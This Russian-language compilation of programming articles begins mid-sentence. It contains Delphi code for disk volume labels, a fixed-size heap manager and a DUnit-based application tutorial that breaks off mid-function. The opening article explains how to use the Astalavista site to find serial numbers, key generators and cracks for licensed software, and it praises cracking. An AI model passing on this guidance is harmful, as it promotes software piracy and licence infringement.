все остальные: http://astalavista5.box.sk/; http://us.box.sk/cgi-bin/robot.cgi; http://astalavista3.box.sk/; http://astalavista7.box.sk/ - синхронно обновляемые серверы-"зеркала" в США; http://uk.astalavista.box.sk/ - сервер в Великобритании; http://fr.astalavista.box.sk/ - сервер во Франции. Сведения по "вопросам компьютерной безопасности", а точнее, ее нарушения, слишком широкая тема. Они включают в себя отчеты о последних "атаках" на различные сайты, списки телефонов и паролей для доступа на коммерческие и правительственные серверы, включая военные и различных спецслужб, а так же новости о деятельности различных хакерских групп и их "разработках". Мы остановимся на том, чем "Astalavista" привлекает к себе большинство практичных и несклонных к противозаконным действиям посетителей. Речь, конечно, идет о взломе программного обеспечения, а точнее, о несанкционированном использовании лицензионных программ. Для этого надо всего лишь ввести название программы (желательно с указанием версии) в поисковое окно, используя пробелы как разделители, и подождать минуту. В результате таких нехитрых действий вы, возможно, получите список сайтов, где вам "помогут". Форма этой помощи бывает трех видов: Самое простое - вы найдете "серийные номера" (SN), позволяющие "зарегистрировать" программу. При этом имя пользователя может оказаться самым необычным. Например: "gERMAN cORRUPTED kILLaS " (именно так) - наименование одной из немецких хакерских групп. Второй вариант - это "генераторы ключей". Небольшие утилиты, которые для любого пользовательского имени подбирают индивидуальный код. С его помощью можно "зарегистрировать" популярную программу или избавиться от рекламного баннера на интерфейсе. Некоторые из генераторов снабжены издевательскими пояснениями, о том, что полученный таким образом код рекомендуется использовать только официально зарегистрированным пользователям, если они его вдруг забыли. В ряде случаев, как, например, для "Коперника - 2000", о котором уже шла речь на страницах eMedia, приходится скачивать взломанный дистрибутив целиком, так как программа оснащена гораздо более серьезной защитой. При этом на дистрибутиве вы обнаружите характерные следы взлома, своего рода визитную карточку хакера. Чаще всего задача решается при помощи сrаск'а ("крэка"). Это утилита, разблокирующая действие лицензионной защиты. Обычно ее надо переписать в папку, где установлена основная программа, и запустить в соответствии с прилагаемыми инструкциями. Эти самые инструкции, вместе с различными "списками достижений" и хакерскими "манифестами", как правило, содержатся в файлах с непривычными расширениями *.diz и *.nfo . Это обычные текстовые файлы, иногда в DОSовской кодировке, и проще всего их сразу переименовать в *.txt. Возможно, что поиск не принесет результатов. Не стоит отчаиваться. Количество "подключаемых" к "Astalaviste" сайтов постоянно меняется. Опыт показывает, что первые результаты "взлома" оказываются обнародованными примерно через две недели после появления новой версии программного продукта. Иногда фирмы-изготовители меняют версии программ, а точнее, системы защиты, в течение нескольких дней после появления соответствующего "крэка". Поэтому иногда приходится дожидаться плодов хакерских трудов, предварительно скачав требующуюся программу. Важно отметить, что взлому подвергается далеко не все, а только общепризнанные лучшие программы. То есть наличие "крэка" является своеобразным критерием качества программного продукта. Часто ссылка может привести вас на российский хакерский сайт. Важно отметить, что российские хакеры являются одними из наиболее высококвалифицированных. Хакеры - это субкультура и мировоззрение. Хакер нужен как волк, не дающий расслабиться фирмам-монополистам. Microsoft и Netscape выпускают многие программные продукты бесплатно только потому, что их все равно взломают. Без волка-хакера толстые лоси-монополисты погибнут от ожирения, предварительно задавив обычного пользователя необходимостью платить за каждый байт информации. При этом страны с низкой покупательной способностью, такие как Россия, были бы отброшены на десяток лет в своем информационно-техническом развитии. Так что "Atalavista", наверное, наиболее важна именно для российских пользователей. В заключение хочу напомнить, что взгляды редакции не обязательно совпадают с авторским мнением.Управление метками томов дисков.
| Во имя процессора-отца, монитора-сына и святаго винча... Enter! |
Данный совет содержит исходный код модуля, который может помочь Вам получить, установить и удалить метку тома гибкого или жесткого диска. Код получения метки тома содержит функцию Delphi FindFirst, код для установки и удаления метки тома использует вызов DOS-прерывания 21h и функции 16h и 13h соответственно. Поскольку функция 16h не поддерживается Windows, она должна вызываться через DPMI-прерывание 31h, функцию 300h.
{ *** НАЧАЛО КОДА МОДУЛЯ VOLLABEL *** }
unit VolLabel;
interface
uses Classes, SysUtils, WinProcs;
type
EInterruptError = class(Exception);
EDPMIError = class(EInterruptError);
Str11 = string[11];
procedure SetVolumeLabel(NewLabel: Str11; Drive: Char);
function GetVolumeLabel(Drive: Char): Str11;
procedure DeleteVolumeLabel(Drv: Char);
implementation
type
PRealModeRegs = ^TRealModeRegs;
TRealModeRegs = record
case Integer of
0: (
EDI, ESI, EBP, EXX, EBX, EDX, ECX, EAX: Longint;
Flags, ES, DS, FS, GS, IP, CS, SP, SS: Word);
1: (
DI, DIH, SI, SIH, BP, BPH, XX, XXH: Word;
case Integer of
0: (
BX, BXH, DX, DXH, CX, CXH, AX, AXH: Word);
1: (
BL, BH, BLH, BHH, DL, DH, DLH, DHH,
CL, CH, CLH, CHH, AL, AH, ALH, AHH: Byte));
end;
PExtendedFCB = ^TExtendedFCB;
TExtendedFCB = record
ExtendedFCBflag: Byte;
Reserved1: array[1..5] of Byte;
Attr: Byte;
DriveID: Byte;
FileName: array[1..8] of Char;
FileExt: array[1..3] of Char;
CurrentBlockNum: Word;
RecordSize: Word;
FileSize: LongInt;
PackedDate: Word;
PackedTime: Word;
Reserved2: array[1..8] of Byte;
CurrentRecNum: Byte;
RandomRecNum: LongInt;
end;
procedure RealModeInt(Int: Byte; var Regs: TRealModeRegs);
{ процедура работает с прерыванием 31h, функцией 0300h для иммитации }
{ прерывания режима реального времени для защищенного режима. }
var
ErrorFlag: Boolean;
begin
asm
mov ErrorFlag, 0 { успешное завершение }
mov ax, 0300h { функция 300h }
mov bl, Int { прерывание режима реального времени, которое необходимо выполнить }
mov bh, 0 { требуется }
mov cx, 0 { помещаем слово в стек для копирования, принимаем ноль }
les di, Regs { es:di = Regs }
int 31h { DPMI-прерывание 31h }
jnc @@End { адрес перехода установлен в error }
@@Error:
mov ErrorFlag, 1 { возвращаем false в error }
@@End:
end;
if ErrorFlag then
raise EDPMIError.Create('Неудача при выполнении DPMI-прерывания');
end;
function DriveLetterToNumber(DriveLet: Char): Byte;
{ функция преобразования символа буквы диска в цифровой эквивалент. }
begin
if DriveLet in ['a'..'z'] then
DriveLet := Chr(Ord(DriveLet) - 32);
if not (DriveLet in ['A'..'Z']) then
raise
EConvertError.CreateFmt('Не могу преобразовать %s в числовой эквивалент диска',
[DriveLet]);
Result := Ord(DriveLet) - 64;
end;
procedure PadVolumeLabel(var Name: Str11);
{ процедура заполнения метки тома диска строкой с пробелами }
var
i: integer;
begin
for i := Length(Name) + 1 to 11 do
Name := Name + ' ';
end;
function GetVolumeLabel(Drive: Char): Str11;
{ функция возвращает метку тома диска }
var
SR: TSearchRec;
DriveLetter: Char;
SearchString: string[7];
P: Byte;
begin
SearchString := Drive + ':\*.*';
{ ищем метку тома }
if FindFirst(SearchString, faVolumeID, SR) = 0 then
begin
P := Pos('.', SR.Name);
if P > 0 then
begin { если у него есть точка... }
Result := ' '; { пространство между именами }
Move(SR.Name[1], Result[1], P - 1); { и расширениями }
Move(SR.Name[P + 1], Result[9], 3);
end
else
begin
Result := SR.Name; { в противном случае обходимся без пробелов }
PadVolumeLabel(Result);
end;
end
else
Result := '';
end;
procedure DeleteVolumeLabel(Drv: Char);
{ процедура удаления метки тома с данного диска }
var
CurName: Str11;
FCB: TExtendedFCB;
ErrorFlag: WordBool;
begin
ErrorFlag := False;
CurName := GetVolumeLabel(Drv); { получение текущей метки тома }
FillChar(FCB, SizeOf(FCB), 0); { инициализируем FCB нулями }
with FCB do
begin
ExtendedFCBflag := $FF; { всегда }
Attr := faVolumeID; { Аттрибут Volume ID }
DriveID := DriveLetterToNumber(Drv); { Номер диска }
Move(CurName[1], FileName, 8); { необходимо ввести метку тома }
Move(CurName[9], FileExt, 3);
end;
asm
push ds { сохраняем ds }
mov ax, ss { помещаем сегмент FCB (ss) в ds }
mov ds, ax
lea dx, FCB { помещаем смещение FCB в dx }
mov ax, 1300h { функция 13h }
Call DOS3Call { вызываем int 21h }
pop ds { восстанавливаем ds }
cmp al, 00h { проверка на успешность выполнения }
je @@End
@@Error: { устанавливаем флаг ошибки }
mov ErrorFlag, 1
@@End:
end;
if ErrorFlag then
raise EInterruptError.Create('Не могу удалить имя тома');
end;
procedure SetVolumeLabel(NewLabel: Str11; Drive: Char);
{ процедура присваивания метки тома диска. Имейте в виду, что }
{ данная процедура удаляет текущую метку перед установкой новой. }
{ Это необходимое требование для функции установки метки. }
var
Regs: TRealModeRegs;
FCB: PExtendedFCB;
Buf: Longint;
begin
PadVolumeLabel(NewLabel);
if GetVolumeLabel(Drive) <> '' then { если имеем метку... }
DeleteVolumeLabel(Drive); { удаляем метку }
Buf := GlobalDOSAlloc(SizeOf(PExtendedFCB)); { распределяем реальный буфер }
FCB := Ptr(LoWord(Buf), 0);
FillChar(FCB^, SizeOf(FCB), 0); { инициализируем FCB нулями }
with FCB^ do
begin
ExtendedFCBflag := $FF; { требуется }
Attr := faVolumeID; { Аттрибут Volume ID }
DriveID := DriveLetterToNumber(Drive); { Номер диска }
Move(NewLabel[1], FileName, 8); { устанавливаем новую метку }
Move(NewLabel[9], FileExt, 3);
end;
FillChar(Regs, SizeOf(Regs), 0);
with Regs do
begin { Сегмент FCB }
ds := HiWord(Buf); { отступ = ноль }
dx := 0;
ax := $1600; { Функция 16h }
end;
RealModeInt($21, Regs); { создаем файл }
if (Regs.al <> 0) then { проверка на успешность выполнения }
raise EInterruptError.Create('Не могу создать метку тома');
end;
end.
{ *** КОНЕЦ КОДА МОДУЛЯ VOLLABEL *** }
|
Серийный номер тома HDD.
| Автор: Алексей Коган |
| И ты, root? |
procedure TForm1.Button1Click(Sender: TObject);
var
SerialNum : dword;
a, b : dword;
Buffer : array [0..255] of char;
begin
if GetVolumeInformation('c:\', Buffer, SizeOf(Buffer),
@SerialNum, a, b, nil, 0) then
Label1.Caption := IntToStr(SerialNum);
end;
|
Алексей Коган FIDOnet 2:5064/7.69 Russia, Stavropol
Должен заметить, что GetVolumeInformation возвращает серийный номер ТОМА, а не винчестера, то есть, если заменить C:\ на D:\, то номерок-то и поменяется...
Диспетчер кучи для объектов одного размера.
Оформил: DeeCo
Автор: Сергей Парунов.
Модуль содержит класс psnFixSzMemMgr, реализующий диспетчер кучи для объектов одного размера.Динамическое размещение объектов (не только экземпляров классов, а вообще) в куче имеет неоспоримые преимущества: гибкость, простота... Но у такого подхода есть недостаток, проистекающий от всеядности стандартного диспетчера кучи языка (Delphi), который и выбирает, откуда "отщипнуть" кусочек памяти. Уж очень много самых разных блоков выделяется-освобождается в куче, и она превращается в швейцарский сыр. Отсюда вытекают две неприятности. Во-первых, когда выделяется блок памяти, диспетчер вынужден запомнить его размер и прочие параметры в пропадающем зря 4-байтном (чаще всего) заголовке (для освобождения). Во-вторых, уж очень медленен этот процесс - надо перестроить дерево... в общем, тактов 200 на одно выделение/освобождение на процессоре Пентиум 3 обеспечено.
Все эти недостатки проявляются особенно сильно при работе с маленькими динамическими переменными, которые часто так заманчиво применять для различных списков, деревьев, графов... И самое обидное, что вся эта возня - впустую: так как размер переменных нам-то известен, нет необходимости ни в мудрёном отслеживании блоков (можно обойтись простым списком неиспользуемых), ни тем более в запоминании размера каждого выделенного блока. Эти соображения ведут к применению массивов, с которыми нередко достигается наибольшая скорость, но есть и свои сложности: сложность (простите за каламбур) и негибкость. К тому же частое применение индексов в массиве всё же медленнее использования указателей.
Данный класс реализует упрощенный диспетчер кучи для объектов одного размера (назовём его экземпляр кучей), который можно применять вместо стандартного, получая с маленькими объектами существенно большую скорость, а часто и экономию памяти, за счёт реализации старого татаро-монгольского принципа: "меньше чем по десять тысяч мы даже в гости не ходим" ((c) Александр Борянский, Сергей Козлов).
Его применение в основном подобно стандартному:with psnFixSzMemMgr.Create(16) do begin // куча создана Ptr := FixNew; // Выделяем блок в 16 байт. ... // Делаем всё, что нам надо. FixDsp(Ptr); // Блок, указуемый Ptr, возвращён в кучу. Вообще-то // этот шаг перед самым разрушением кучи // необязателен, это стоит делать, только когда // есть надежда на повторное использование блока. Destroy; // Куча разрушена. end;
Статистика: с 8-12-байтными блоками втрое обгоняет стандартный, с возрастанием блока до 48 байт практически сравнивается с ним. Экономия памяти при хорошем наполнении составляет почти 4 байта на блок.
У него есть недостаток, вытекающий из назначения. Рассмотрим в общих чертах его работу. Он выделяет большой массив памяти, нарезает его блоками и скармливает нам, пока он не кончится, выделяет следующий и т.д. Но определением того факта, что в массиве уже нет ни одного используемого блока, и освобождением массива этот диспетчер кучи не занимается по соображениям скорости. Иными словами, грубо говоря, если Вы выделили 1024 блока памяти по 16 байт, а затем все их освободили, пропадёт 16 кБ памяти до освобождения либо заполнения заново этой кучи.
Но динамические структуры чаще всего применяются однократно или не уменьшаются так резко в ходе работы. Не проблема и реализовать несколько замедленный вариант диспетчера кучи с автоосвобождением. Более того, если идёт интенсивная работа с мелкими блоками, вероятность того, что полностью освободится целый массив, невелика. А если не смущает некоторая замедленность работы, то для блоков произвольного размера можно воспользоваться API (LocalAlloc, HeapCreate и пр.), позволяющими реализовать отдельную кучу.
У отдельной кучи вообще есть большой плюс - динамическую структуру данных, размещённую в общей куче, долго и в некоторых случаях сложно уничтожать (утечки памяти). А тут это делается просто деструктором (это НЕ касается структур, содержащих длинные строки, динамические массивы и интерфейсы, а также объектов с таковыми - тут, увы, можно применять разве что SetMemoryManager и TObject.NewInstance...).
Я обнаружил, что запрошенная посредством VirtualAlloc (как делает "настоящий" диспетчер памяти) память в окне CPU Delphi 5 отображается как мусор: изменить память там можно, а посмотреть - нет (с всплывающей подсказкой в редакторе кода всё нормально). Так что диспетчер реализован как надстройка над стандартным, что, конечно, несколько снижает скорость, но зато позволяет уменьшить потери памяти на фрагментацию для небольших объёмов (VirtualAlloc не размещает память меньше чем по странице - 4 кБ на процессорах линии IA32).
Исходный код модуля:
type
psnFixSzMemMgr = class
private
FLastCommit, {указатель на последний выделенный массив, в начале которого -
указатель на предпоследний...}
FEmptyBlock: Pointer; {указатель на последний пустой блок из списка, в
начале которого - указатель на предпоследний...}
FBlockSize, FCommitSize, FFillCycles: Integer;
public
constructor Create(
const BlockSize: Integer; {Размер выделяемых блоков памяти. Реально
округляется в большую сторону до величины, кратной 4.}
const CommitBlocks: Integer = 127 {Количество блоков в выделяемых
массивах. Должно быть больше 1 (иначе зачем огород городить?), а для
скорости желательно не меньше 31. Реально увеличивается до ближайшего
сверху нечётного значения (алгоритм требует это для высокой скорости).}
);
function FixNew: Pointer; {Выделяет блок памяти размера BlockSize и
возвращает ссылку на эту память. Выполнено в виде функции во избежание
обязательного преобразования типов параметра, передаваемого по ссылке.}
procedure FixDsp(const Ptr: Pointer); {Освобождает блок памяти, выделенный
ранее в данном экземпляре класса, указуемый параметром Ptr.}
destructor Destroy; override;
end;
implementation
constructor psnFixSzMemMgr.Create(const BlockSize, CommitBlocks: Integer);
begin
FBlockSize := (BlockSize + 3) and $7FFFFFFC;
FCommitSize := (CommitBlocks and $7FFFFFFE + 1) * FBlockSize + 4;
FFillCycles := CommitBlocks shr 1 - 1; {заполняем в один присест два блока, и
цикл оформим от нуля: for I:= 0 to FFillCycles, быстрее будет}
end;
function psnFixSzMemMgr.FixNew: Pointer;
var
P, P2: Pointer;
I, DBlockSize: Integer;
begin
if not Assigned(FEmptyBlock) then
begin {выделим массив}
GetMem(P, FCommitSize);
Pointer(P^) := FLastCommit;
FLastCommit := P;
Inc(PChar(P), 4);
Pointer(P^) := nil;
P2 := Pointer(Integer(P) + FBlockSize);
DBlockSize := FBlockSize shl 1;
for I := 0 to FFillCycles do
begin {надо сделать список пустых блоков}
Pointer(P2^) := P;
Inc(PChar(P), DBlockSize);
Pointer(P^) := P2;
Inc(PChar(P2), DBlockSize);
end;
FEmptyBlock := P;
end;
Result := FEmptyBlock;
FEmptyBlock := Pointer(Result^);
end;
procedure psnFixSzMemMgr.FixDsp(const Ptr: Pointer);
begin
Pointer(Ptr^) := FEmptyBlock;
FEmptyBlock := Ptr;
end;
destructor psnFixSzMemMgr.Destroy;
var
P: Pointer;
begin
while Assigned(FLastCommit) do
begin
P := FLastCommit;
FLastCommit := Pointer(P^);
FreeMem(P, FCommitSize);
end;
inherited;
end;
Hello, MiniProg.
Автор: Иванов Петр ака Brodia@a Специально для Королевства Delphi
Я не знаю, к какой области "Королевства" отнести эту статью. В принципе, данная публикация подготавливалась для раздела "Hello, World". Однако оказалось, что подавляющее количество достаточно опытных программистов, имеют лишь приблизительное понятие об изложенном материале. Почти полное отсутствие в интернете и литературе информации, по данной тематике и использованным в статье методам, оставляют надежду на то, что кому-то, возможно, будет интересно, а может быть и познавательно то, о чем здесь написано.Первоначальная идея была проста, написать несложную программу, исходный текст которой можно было бы использовать как некий шаблон, с реализованной функциональностью, отвечающей наиболее часто выдвигаемым требованиям. Следует помнить о данной публикации то, что она навеяна темой форума "Delphi Kingdom VCL :)".
Желающие могут присоединиться: покритиковать, дополнить, исправить; и если изменения или найденные ошибки будут существенны, то будет написана новая статья. Начнем, с требований, которым должна соответствовать программа: 1. Избегать использования компонентов сторонних производителей, стараться написать программу с помощью стандартных, для текущей версии Delphi, функций и процедур. 2. Исходный текст программы необходимо снабдить системой автоматической проверки корректности программного кода. 3. Интерфейс - SDI (MDI хорош для приложений вроде Word или Exceel). 4. Желательно предусмотреть возможность масштабирования размеров окон, а также размеров и положения всех визуальных элементов, расположенных на ней, после изменения размеров экранного шрифта. Размеры окон и визуальных компонентов не должны меняться при изменении разрешения экрана. 5. Программа должна следить за тем, что бы она была запущена в единственном числе, на данном компьютере, при этом при запуске второй копии должна активизироваться первая копия, даже если она находится в свернутом состоянии. Данная функция призвана защитить лишь от случайных или ошибочных действий пользователя, и ни как не претендует на роль "серьезной" защиты. 6. Программа должна иметь возможность запуска с командной строки, с использованием управляющих ключей. 7. Программа должна иметь возможность запуска, как в режиме консоли, так и в режиме с графическим интерфейсом. 8. Программа должна уметь показывать при запуске заставку, и иметь возможность, как изменения времени показа, так и полного отключения заставки. Данные режимы должны быть управляемы как с помощью командной строки, так и в режиме графического интерфейса. 9. Управляющие ключи командной строки, должны поддерживать, как минимум ключ "?" и/или "help"- вывод краткого пояснения о программе, и подсказки о доступных ключах, в режиме консоли. Ключ "concole" - запуск в режиме консоли. Ключ "nologo" - отключение показа заставки. Ключ "logo " c параметром, определяющим время показа заставки. 10. Необходимо предусмотреть возможность взаимодействия программы с конфигурационным файлом, для хранения и восстановления определенных параметров. Нужно уметь хранить в конфигурационном файле время показа заставки, а так же состояние и позицию окон. 11. Необходимо иметь возможность, в режиме с графическим интерфейсом, подключения к программе языковых настроек в виде перевода на различные языки надписей и сообщений. Основной язык программы английский. Пункт 7 и все, что с ним связано, можно считать моим личным капризом, но мне приходится писать именно такие программы - исполняющиеся в обоих режимах. Для начала, реализации таких требований, должно хватить при создании приложений.Ну что же, первый шаг, создание директории проекта, назовем его MiniProg, в которой расположим поддиректории:
DCU - откомпилированные dcu (такова моя привычка :), DOC - поместим текст данной статьи, DUNIT - система автоматического тестирования от SourceForge, IMAGE - для картинок и иконок, SOURCE - исходные тексты самой программы, TEST - исходные тексты тестирующих файлов. Будем считать, что основная директория, MiniProg, предназначена для размещения в ней откомпилированной программы, файлов конфигурации и языковых настроек, а так же, для откомпилированной тестовой программы. Создаем проект, главную форму называем просто и незатейливо - FMain. Сохраняем как файл Main.pas в поддиректории SOURCE. Проект сохраняем как MiniProg.dpr, там же :). Открываем меню Project | Options, переходим на страницу Directories/Conditionals, заносим в Output directory и в Unit output directory соответствующие пути. В нашем случай это будут "..\..\MiniProg" и "..\..\MiniProg\DCU". Можно и короче записать, но так нагляднее. Если есть иконка для программы, то устанавливаем её на странице Application, через Load Icon. Создадим новый unit, сохраним под именем Appl.pas. Зачем? Как задел на будущее, будем размещать в нем функции и процедуры, реализующие наши требования.Теперь начнем выполнять пункт 2 наших требований, т.е. создавать тестирующую программу. В подкаталоге DUNIT расположены некоторые необходимые нам файлы, взятые из оригинального DUNIT , версии от 2002/01/17. И так, создаем новый проект, закрываем Unit1.pas, отказываемся от сохранения, проект назовем, без особой фантазии, testMiniProg.dpr и сохраняем в TEST. Удаляем всё из этого файла и помещаем в него такой код:
program testMiniProg;
uses
Forms,
TestFrameWork,
GUITestRunner;
{$R *.res}
begin
Application.Initialize;
GUITestRunner.RunRegisteredTests;
end.
|
В настройках проекта, на странице Directories/Conditionals, заполняем поля Output directory и Unit output directory, так же, как и у проекта MiniProg. Дополнительно пропишем в Search path поддиректорий SOURCE и DUNIT. Вот теперь, можно создать новый unit с названием (как бы вы думали?) testAppl.pas и следующим содержанием:
unit testAppl; interface uses TestFramework, SysUtils, Controls, Forms, Appl; type TTestUnitAppl = class(TTestCase) published end; implementation initialization TestFramework.RegisterTest(TTestUnitAppl.Suite); end. |
Попытаемся разобраться с проблемой масштабирования форм. Проведя то, что обычно называется предварительным расследованием; покопавшись в интернет, заглянув в хелп, почитав книги, спросив товарищей (нужное подчеркнуть); выяснилось что, можно принудить форму автоматически масштабировать собственные размеры, а так же размеры и положение размещенных на ней визуальных компонентов, при изменении размера экранного шрифта. Для этого необходимо проверить и если нужно установить свойства формы, в нашем случае FMain, ParentFont = False, Scaled = True, AutoScroll = False и PixelsPerInch равный PixelsPerInch текущего экрана. Данное утверждение верно для форм созданных с помощью Delphi 6.2, для более ранних версий не проверялось. Но, судя по количеству воплей на различных форумах - у некоторых такая проблема была. Впрочем, помнится, еще у М. Канту в "Delphi 2 for Windows95/NT" существовала небольшая глава, освещающая именно такой подход. После рассмотрения исходных кодов VCL Delphi выяснилось, что существует другая проблема, связанная с масштабированием. Дело в том, что свойства Constraints компонентов, к большому сожалению, не масштабируются. Придется заняться этим отдельно, иначе может нарушиться внешний вид формы. Что делает программа, когда создает форму? Если у формы установлены свойства как было указано выше, то в зависимости от того, отличается PixelsPerInch (сокращенно PPI) формы от PPI экрана или нет, происходит умножение значений местоположения компонентов на "новый" PPI и деление на "старый" PPI (в действительности, конечно, всё сложнее, но на первых порах и такого понимания достаточно). Будем называть эту функцию ScaleValue. Откроем проект testMiniProg, и откроем в нем файлы testAppl.pas и Appl.pas из поддиректории SOURCE. Теперь самое странное: в testAppl.pas создаем процедуру проверки TestScaleValue, и объявляем её в published свойствах TTestUnitAppl:
unit testAppl;
interface
uses
TestFramework, SysUtils, Controls, Forms, Appl;
type
TTestUnitAppl = class(TTestCase)
published
procedure TestScaleValue;
end;
implementation
procedure TTestUnitAppl.TestScaleValue;
var
Test: integer;
begin
Test := ScaleValue(120,96,120);
Check( Test = 96, Format('return wrong %d',[Test]));
end;
initialization
TestFramework.RegisterTest(TTestUnitAppl.Suite);
end.
|
Главное действие в этом unit, происходит в теле процедуры TestScaleValue, по вызову функции Check, в которой проходит проверки первого параметра, и если он False, то тест считается неудачным. Второй параметр функции Check - сообщение, в котором можно написать, в краткой форме, всё, что вы думаете об отрицательном результате тестирования :). Почему, при заданных значениях входных параметров, в результате должно получиться именно 96? - можно понять в результате несложных математических преобразований исходной формулы. Менее успешные математики могут проверить на калькуляторе :). Что же, мы создали тестирующую процедуру, которая проверит корректность работы нашей функции, при чем сделает это автоматически, стоит лишь запустить тесты. Следует сказать, что проверяться функция будет при каждом запуске тестовой программы, т.е. если вы впоследствии поменяете текст функции, и сделаете это некорректно, то программа тут же сообщит вам об этом. Еще одним положительным свойством такого тестирования, является то, что в саму программу не вносится ни каких посторонних тестирующих и проверяющих функций. Далее, в файле Appl.pas, создаем саму функцию:
function ScaleValue(Value, NewPPI, OldPPI: integer): integer; begin Result := MulDiv(Value, NewPPI, OldPPI); end; |
Очевидно, что нам нужны функции, которые бы возвращали значения PPI как времени создания, так и времени исполнения программы, назовем их RtmPPI и DsgnPPI. Напишем тест. Подумав, решаем, что RtmPPI и DsgnPPI должны быть равны по значениям, если разработка программы и тестирование происходит при одних и тех же режима экрана:
procedure TTestUnitAppl.TestDsgnVsRtmPPI;
begin
Check( DsgnPPI = RtmPPI, Format('Design time PixelsPerInch not %d DPI',
[RtmPPI]));
end;
|
По крайней мере, такой тест напомнит вам, что при тестировании значение DsgnPPI должно быть равно PPI вашего экрана. Один совет, связанный с масштабированием форм - старайтесь создавать все свои формы при одном и том же PPI, это убережет вас от неприятных эффектов в дальнейшем, либо вам придется написать специальный тест, который будет проверять значения PPI всех форм, а это часто очень утомительно :). Кстати, этот тест наводит на мысль о том, что не плохо было бы завести функцию, которая бы сообщала, изменилось PPI или нет, и она нам нужна именно сейчас, что бы включить в тест. Сам текст функций выглядит следующим образом:
function RtmPPI: integer; begin Result := Screen.PixelsPerInch; end; function DsgnPPI: integer; begin Result := 120; end; function IsChangePPI: boolean; begin Result := DsgnPPI <> RtmPPI; end; |
Пришло время заняться процедурой, которая будет масштабировать Constraints компонентов. Собственно говоря, это свойство наследуется от TControl, по этому, будем обращаться именно к нему. Подумаем, как тестировать изменение Constraints. Первое, что приходит в голову, это создать специальную тестовую форму. Конечно, такой путь несколько сложноват, однако эта форма, скорее всего, пригодиться и в дальнейшем. Выбираем меню File | New | Form, даем название testForm и сохраняем как testUnit в поддиректории TEST, если Delphi предложит сохранить еще и проект, смело откажитесь. Не забудьте установить свойства формы так, как было описано ранее. Добавьте, в uses Appl. Проверьте, в меню Project | Options, новая форма должна располагаться в Available Forms, то есть не должна создаваться автоматически, при запуске приложения. Создайте в Events формы событие OnClose:
procedure TtestForm.FormClose(Sender: TObject; var Action: TCloseAction); begin Action := caFree; end; |
Это заставит удалиться форму из памяти самостоятельно, после закрытия. Не забудьте, выполнить, для testAppl.pas, дополнение через File | Use Unit: Вот, теперь создадим TestChangeConstraints. Что бы легче было тестировать, и избежать неоднозначности, воспользуемся опытом тестирования ScaleValue и зададим размеры формы кратные 120, например 480, после масштабирования должно получиться 384. Так как, отдельные числа используются в unit более чем один раз, то вынесем их в константы.
const
testOldPPI = 120;
testNewPPI = 96;
...
procedure TTestUnitAppl.TestChangeConstraints;
var
OK1, OK2: boolean;
Size1, Size2: integer;
begin
OK1 := False;
OK2 := False;
Size1 := testOldPPI * 4;
Size2 := ScaleValue(Size1, testNewPPI, testOldPPI);
testForm := TtestForm.Create(Application);
try
testForm.Constraints.MaxHeight := Size1;
testForm.Constraints.MinHeight := Size1;
testForm.Constraints.MaxWidth := 0;
testForm.Constraints.MinWidth := Size1;
ChangeConstraints(testForm as TControl, testNewPPI, testOldPPI);
OK1 := (testForm.Constraints.MaxHeight = Size2) and
(testForm.Constraints.MinHeight = Size2) and
(testForm.Constraints.MaxWidth = 0) and
(testForm.Constraints.MinWidth = Size2);
ChangeConstraints(testForm as TControl, testOldPPI, testNewPPI);
OK2 := (testForm.Constraints.MaxHeight = Size1) and
(testForm.Constraints.MinHeight = Size1) and
(testForm.Constraints.MaxWidth = 0) and
(testForm.Constraints.MinWidth = Size1);
finally
testForm.Close;
Check(OK1 and OK2, 'failed test');
end;
end;
|
Как видите, тест весьма незатейливый, проверяет корректность масштабирования, как при уменьшающем, так и при увеличивающем масштабе. А еще этот тест использует уже протестированную функцию, что в конечном счете добавляет уверенности в результаты теста :). Сама функция ChangeConstraints выглядит так:
procedure ChangeConstraints(Control: TControl; NewPPI, OldPPI: integer);
begin
with Control.Constraints do
begin
if MaxHeight > 0 then MaxHeight := ScaleValue(MaxHeight, NewPPI, OldPPI);
if MinHeight > 0 then MinHeight := ScaleValue(MinHeight, NewPPI, OldPPI);
if MaxWidth > 0 then MaxWidth := ScaleValue(MaxWidth, NewPPI, OldPPI);
if MinWidth > 0 then MinWidth := ScaleValue(MinWidth, NewPPI, OldPPI);
end;
end;
|
Запускаем тест - "Шеф!!! Всё пропало!!!" - в чем же дело? А дело в том, что Constraints для минимальных и максимальных значений взаимозависимы. Максимальное значение не может быть меньше минимального и наоборот, и если происходит присвоение некорректного, с этой точки зрения значения, то оно изменяется в нужную сторону. Такое поведение весьма логично, но нас оно не всегда устраивает, по тому что, нам бы хотелось, что бы такое выравнивание сработало после наших изменений. Кстати, вот вам и первый пойманный баг, и довольно хитрый :). Поспешный поиск дихлофоса от Borland. , среди методов TControl, напоминавших по духу, что-то вроде DisabledAlign ничего не дал. Пришлось воспользоваться простым дедовским антитараканным средством - типа "тапочек":
procedure ChangeConstraints(Control: TControl; NewPPI, OldPPI: integer);
begin
with Control.Constraints do
begin
if NewPPI > OldPPI then
begin
if MaxHeight > 0 then MaxHeight := ScaleValue(MaxHeight, NewPPI, OldPPI);
if MinHeight > 0 then MinHeight := ScaleValue(MinHeight, NewPPI, OldPPI);
if MaxWidth > 0 then MaxWidth := ScaleValue(MaxWidth, NewPPI, OldPPI);
if MinWidth > 0 then MinWidth := ScaleValue(MinWidth, NewPPI, OldPPI);
end
else
begin
if MinHeight > 0 then MinHeight := ScaleValue(MinHeight, NewPPI, OldPPI);
if MaxHeight > 0 then MaxHeight := ScaleValue(MaxHeight, NewPPI, OldPPI);
if MinWidth > 0 then MinWidth := ScaleValue(MinWidth, NewPPI, OldPPI);
if MaxWidth > 0 then MaxWidth := ScaleValue(MaxWidth, NewPPI, OldPPI);
end;
end;
end;
|
Тест, зеленый цвет, "едем" дальше... Дальше? А дальше, расположим на testForm какие-нибудь визуальные компоненты, ...даааа побольше :). В принципе, TestChangeConstraints показал, что процедура работает успешно, с наследником TForm, но не мешало бы, проверить её и с другими компонентами, хотя бы некоторую их часть (нет у нас такого требования - тестировать VCL). Так как предполагаемый процесс тестирования вполне однообразен, то создадим функцию, которой будем передавать компонент, из числа тех, которые расположены на форме, а возвращать она будет - "да" или "нет".
function TTestUnitAppl.TestScaleControl(Control: TControl): boolean;
var
OK1, OK2: boolean;
Size1, Size2: integer;
begin
OK1 := False;
OK2 := False;
Size1 := testOldPPI;
Size2 := ScaleValue(Size1, testNewPPI, testOldPPI);
testForm := TtestForm.Create(Application);
try
Control.Constraints.MaxHeight := Size1;
Control.Constraints.MinHeight := 0;
Control.Constraints.MaxWidth := Size1;
Control.Constraints.MinWidth := Size1;
